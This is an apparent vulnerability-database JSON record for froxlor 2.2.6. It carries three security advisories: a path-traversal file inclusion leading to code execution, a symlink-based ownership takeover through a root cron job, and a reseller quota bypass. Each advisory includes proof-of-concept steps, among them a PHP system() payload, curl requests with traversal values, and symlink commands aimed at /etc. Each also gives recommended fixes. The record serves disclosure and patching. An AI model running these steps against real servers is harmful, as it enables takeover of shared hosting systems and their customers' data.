{"url":"http://public2.vulnerablecode.io/api/packages/84305?format=json","purl":"pkg:composer/froxlor/froxlor@2.2.6","type":"composer","namespace":"froxlor","name":"froxlor","version":"2.2.6","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"2.3.7","latest_non_vulnerable_version":"2.3.7","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89811?format=json","vulnerability_id":"VCID-395t-sx9f-v3fv","summary":"Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution\n## Summary\n\nThe Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.\n\n## Details\n\n**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.\n\nThe **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:\n\n```php\n// customer_index.php:260-265\n$def_language = Validate::validate(Request::post('def_language'), 'default language');\nif (isset($languages[$def_language])) {\n    Customers::getLocal($userinfo, [\n        'id' => $userinfo['customerid'],\n        'def_language' => $def_language\n    ])->update();\n```\n\nThe **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\\r\\n\\t\\f\\0]*$/D`, which permits path traversal sequences:\n\n```php\n// Customers.php:1167-1172 (customer branch)\n} else {\n    // allowed parameters\n    $def_language = $this->getParam('def_language', true, $result['def_language']);\n    ...\n}\n// Customers.php:1207 - validation (shared by admin and customer paths)\n$def_language = Validate::validate($def_language, 'default language', '', '', [], true);\n```\n\nThe tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:\n\n**API path** (`ApiCommand.php:218-222`):\n```php\nprivate function initLang()\n{\n    Language::setLanguage(Settings::Get('panel.standardlanguage'));\n    if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {\n        Language::setLanguage($this->getUserDetail('language'));\n    } elseif ($this->getUserDetail('def_language') !== null) {\n        Language::setLanguage($this->getUserDetail('def_language')); // No validation\n    }\n}\n```\n\n**Web path** (`init.php:180-185`):\n```php\nif (CurrentUser::hasSession()) {\n    if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {\n        Language::setLanguage(CurrentUser::getField('language'));\n    } else {\n        Language::setLanguage(CurrentUser::getField('def_language')); // No validation\n    }\n}\n```\n\nThe `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.\n\n**File inclusion** (`Language.php:89-98`):\n```php\nprivate static function loadLanguage($iso): array\n{\n    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);\n    if (!file_exists($languageFile)) {\n        return [];\n    }\n    $lng = require $languageFile;  // Arbitrary PHP execution\n```\n\nWith `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.\n\n## PoC\n\n**Step 1 — Upload malicious language file via FTP:**\n\nFroxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).\n\n```bash\n# Create malicious .lng.php file\necho '<?php system(\"id > /tmp/pwned\"); return [];' > evil.lng.php\n\n# Upload to customer web directory via FTP\nftp panel.example.com\n> put evil.lng.php\n```\n\nThe file is now at `/var/customers/webs/<loginname>/evil.lng.php`.\n\n**Step 2 — Set traversal payload via API:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H 'Authorization: Basic <base64(apikey:apisecret)>' \\\n  -d '{\"command\":\"Customers.update\",\"params\":{\"def_language\":\"../../../../../var/customers/webs/customer1/evil\"}}'\n```\n\nThe traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.\n\n**Step 3 — Trigger inclusion on next API call:**\n\n```bash\ncurl -s -X POST https://panel.example.com/api \\\n  -H 'Authorization: Basic <base64(apikey:apisecret)>' \\\n  -d '{\"command\":\"Customers.get\"}'\n```\n\n`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`.\n\n**Step 4 — Verify execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated customer can execute arbitrary PHP code as the web server user. This enables:\n\n- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.\n- **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment.\n- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.\n- **Data exfiltration:** Read all hosted databases and email content across the panel.\n\nThe attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.\n\n## Recommended Fix\n\nValidate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:\n\n```php\n// In Customers.php, replace line 1207:\n// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);\n\n// With:\n$def_language = Validate::validate($def_language, 'default language', '', '', [], true);\nif (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {\n    $def_language = Settings::Get('panel.standardlanguage');\n}\n```\n\nApply the same fix in `Admins.php` at line 600.\n\nAdditionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:\n\n```php\nprivate static function loadLanguage($iso): array\n{\n    // Reject path traversal attempts\n    if ($iso !== basename($iso) || str_contains($iso, '..')) {\n        return [];\n    }\n    $languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);\n    // ...\n}\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41228","reference_id":"","reference_type":"","scores":[{"value":"0.00085","scoring_system":"epss","scoring_elements":"0.24736","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00085","scoring_system":"epss","scoring_elements":"0.24687","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00085","scoring_system":"epss","scoring_elements":"0.24679","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00085","scoring_system":"epss","scoring_elements":"0.24794","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00085","scoring_system":"epss","scoring_elements":"0.24806","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41228"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/bc5e6dbaa90e6f3573129da640595e8c770e1d0c","reference_id":"","reference_type":"","scores":[{"value":"10","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:46:42Z/"}],"url":"https://github.com/froxlor/froxlor/commit/bc5e6dbaa90e6f3573129da640595e8c770e1d0c"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","reference_id":"","reference_type":"","scores":[{"value":"10","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:46:42Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"reference_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7","reference_id":"","reference_type":"","scores":[{"value":"10","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:46:42Z/"}],"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41228","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41228"},{"reference_url":"https://github.com/advisories/GHSA-w59f-67xm-rxx7","reference_id":"GHSA-w59f-67xm-rxx7","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-w59f-67xm-rxx7"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/109902?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ducn-23aq-cqfw"},{"vulnerability":"VCID-fj23-7ex5-vbgk"},{"vulnerability":"VCID-mvq5-tbjh-qbdc"},{"vulnerability":"VCID-s3vs-var5-3ybw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.6"}],"aliases":["CVE-2026-41228","GHSA-w59f-67xm-rxx7"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-395t-sx9f-v3fv"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89008?format=json","vulnerability_id":"VCID-7y1g-hs5x-bqcv","summary":"Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron\n## Summary\n\n`DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.\n\n## Details\n\nThe vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to `FileDir::makeCorrectDir()` via a `$fixed_homedir` parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of `lib/Froxlor/FileDir.php`).\n\nEvery customer-facing API command that builds a path from user input passes this parameter:\n\n```php\n// DirProtections.php:87\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// DirOptions.php:96\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// Ftps.php:178\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n\n// SubDomains.php:585\nreturn FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nBut `DataDump.add()` was missed:\n\n```php\n// DataDump.php:88 — NO $fixed_homedir parameter\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n```\n\nThe path flows unvalidated into a cron task (`lib/Froxlor/Api/Commands/DataDump.php:133`):\n\n```php\nCronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);\n```\n\nWhen `ExportCron::handle()` runs as root, it executes at `lib/Froxlor/Cron/System/ExportCron.php:232`:\n\n```php\nFileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n```\n\nThe `chown -R` command follows symlinks in its target argument. If `$data['destdir']` resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.\n\nThe `Validate::validate()` call on line 86 uses an empty pattern, which falls back to `/^[^\\r\\n\\t\\f\\0]*$/D` — this only strips control characters and does not prevent symlink names. `makeSecurePath()` strips shell metacharacters and `..` traversal but does not check for symlinks.\n\n## PoC\n\nPrerequisites:\n- `system.exportenabled` = 1 (admin setting)\n- Customer account with API key and FTP/SSH access\n\n```bash\n# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory\n# (customer has FTP/SSH access to their own docroot)\nssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'\n\n# Step 2: Schedule data export via API with path pointing to the symlink\ncurl -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"header\":{\"apikey\":\"CUSTOMER_API_KEY\",\"secret\":\"CUSTOMER_API_SECRET\"},\"body\":{\"command\":\"DataDump.add\",\"params\":{\"path\":\"steal\",\"dump_web\":\"1\"}}}' \\\n  https://panel.example.com/api.php\n\n# Expected response: 200 OK with task_data including destdir\n\n# Step 3: Wait for ExportCron to run (hourly cron as root)\n# The cron executes:\n#   mkdir -p '/var/customers/webs/attacker_customer/steal/'       (follows symlink, dir exists)\n#   tar cfz ... -C /var/customers/webs/attacker_customer/ .       (tars attacker's web data)\n#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'\n#   mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'\n#   chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'\n#\n# The final chown resolves the symlink and recursively chowns\n# /var/customers/webs/victim_customer/ to the attacker's UID/GID.\n\n# Step 4: Attacker now owns all of victim's web files\nssh customer@server 'ls -la /var/customers/webs/victim_customer/'\n# All files now owned by attacker_customer UID\n\n# For system-level escalation, the symlink can target /etc:\n# ln -s /etc /var/customers/webs/attacker_customer/steal\n# After cron: attacker owns /etc/passwd, /etc/shadow → root shell\n```\n\n## Impact\n\n- **Horizontal privilege escalation:** A customer can take ownership of any other customer's web files, databases exports, and email data on the same server.\n- **Vertical privilege escalation:** By targeting system directories (e.g., `/etc`), the customer can gain read/write access to `/etc/passwd` and `/etc/shadow`, enabling creation of a root account or password modification.\n- **Data breach:** Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.\n- **Service disruption:** Changing ownership of system directories can break system services.\n\nThe attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.\n\n## Recommended Fix\n\nPass `$customer['documentroot']` as the `$fixed_homedir` parameter in `DataDump.add()`, consistent with every other API command:\n\n```php\n// lib/Froxlor/Api/Commands/DataDump.php, line 88\n// Before (vulnerable):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);\n\n// After (fixed):\n$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);\n```\n\nAdditionally, the `ExportCron` should use `chown -h` (no-dereference) or validate the destination path is not a symlink before executing `chown -R`:\n\n```php\n// lib/Froxlor/Cron/System/ExportCron.php, line 232\n// Add symlink check before chown\nif (is_link(rtrim($data['destdir'], '/'))) {\n    $cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_ERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']);\n} else {\n    FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));\n}\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41231","reference_id":"","reference_type":"","scores":[{"value":"0.00087","scoring_system":"epss","scoring_elements":"0.25039","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00087","scoring_system":"epss","scoring_elements":"0.24937","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00087","scoring_system":"epss","scoring_elements":"0.24929","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00087","scoring_system":"epss","scoring_elements":"0.24986","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00087","scoring_system":"epss","scoring_elements":"0.25051","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41231"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87d","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:48:21Z/"}],"url":"https://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87d"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:48:21Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"reference_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T14:48:21Z/"}],"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41231","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41231"},{"reference_url":"https://github.com/advisories/GHSA-75h4-c557-j89r","reference_id":"GHSA-75h4-c557-j89r","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-75h4-c557-j89r"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/109902?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ducn-23aq-cqfw"},{"vulnerability":"VCID-fj23-7ex5-vbgk"},{"vulnerability":"VCID-mvq5-tbjh-qbdc"},{"vulnerability":"VCID-s3vs-var5-3ybw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.6"}],"aliases":["CVE-2026-41231","GHSA-75h4-c557-j89r"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-7y1g-hs5x-bqcv"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89130?format=json","vulnerability_id":"VCID-anxs-8787-jbau","summary":"Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()\n## Summary\n\nIn `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327:\n\n```php\n$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));\n```\n\nThe validation for this parameter only runs when the caller has `customers_see_all == '1'` (lines 410-421):\n\n```php\nif ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        'adminid' => $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n}\n```\n\nWhen a reseller does **not** have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this->getUserDetail('adminid')`. The unvalidated `$adminid` flows directly into:\n\n1. The domain INSERT at line 757: `'adminid' => $adminid`\n2. The quota increment at lines 862-868:\n```php\n$upd_stmt = Database::prepare(\"\n    UPDATE `\" . TABLE_PANEL_ADMINS . \"` SET `domains_used` = `domains_used` + 1\n    WHERE `adminid` = :adminid\n\");\nDatabase::pexecute($upd_stmt, ['adminid' => $adminid], true, true);\n```\n\nCompare with `Domains.update()` at lines 1386-1387 which correctly handles this case:\n\n```php\n} else {\n    $adminid = $result['adminid'];\n}\n```\n\nThe initial quota check at line 321 checks the *caller's* own quota (`$this->getUserDetail('domains_used')`), but since the caller's `domains_used` is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.\n\nNote: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller's own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed.\n\n## PoC\n\n```bash\n# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-1.com\", \"customerid\": 3, \"adminid\": 1}}'\n\n# Where:\n# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all\n# - customerid=3 = one of the reseller's own customers\n# - adminid=1 = the super-admin's ID (or any other admin's ID)\n\n# Step 2: Verify the domain was created with adminid=1\n# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';\n# Expected: adminid=1\n\n# Step 3: Check the reseller's quota was NOT incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;\n# Expected: domains_used unchanged\n\n# Step 4: Check the target admin's quota WAS incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;\n# Expected: domains_used incremented by 1\n\n# Step 5: Repeat with different domain names to demonstrate unlimited creation\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-2.com\", \"customerid\": 3, \"adminid\": 1}}'\n\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-3.com\", \"customerid\": 3, \"adminid\": 1}}'\n\n# The reseller's domains_used remains unchanged, allowing indefinite creation\n```\n\n## Impact\n\n1. **Quota bypass**: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented.\n2. **Quota exhaustion DoS**: The target admin's `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.\n3. **Data integrity violation**: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server.\n4. **Accounting inaccuracy**: Resource usage reporting and billing tied to admin quotas becomes incorrect.\n\n## Recommended Fix\n\nAdd an `else` branch to force `$adminid` to the caller's own admin ID when `customers_see_all != '1'`, consistent with the pattern used in `Domains.update()`:\n\n```php\n// In lib/Froxlor/Api/Commands/Domains.php, after line 421:\n\nif ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        'adminid' => $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n} else {\n    // Force adminid to the caller's own ID when they don't have customers_see_all\n    $adminid = intval($this->getUserDetail('adminid'));\n}\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41233","reference_id":"","reference_type":"","scores":[{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16993","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16929","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.16911","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.17029","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00053","scoring_system":"epss","scoring_elements":"0.17033","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41233"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T12:26:17Z/"}],"url":"https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T12:26:17Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"reference_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T12:26:17Z/"}],"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41233","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41233"},{"reference_url":"https://github.com/advisories/GHSA-jvx4-xv3m-hrj4","reference_id":"GHSA-jvx4-xv3m-hrj4","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-jvx4-xv3m-hrj4"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/109902?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ducn-23aq-cqfw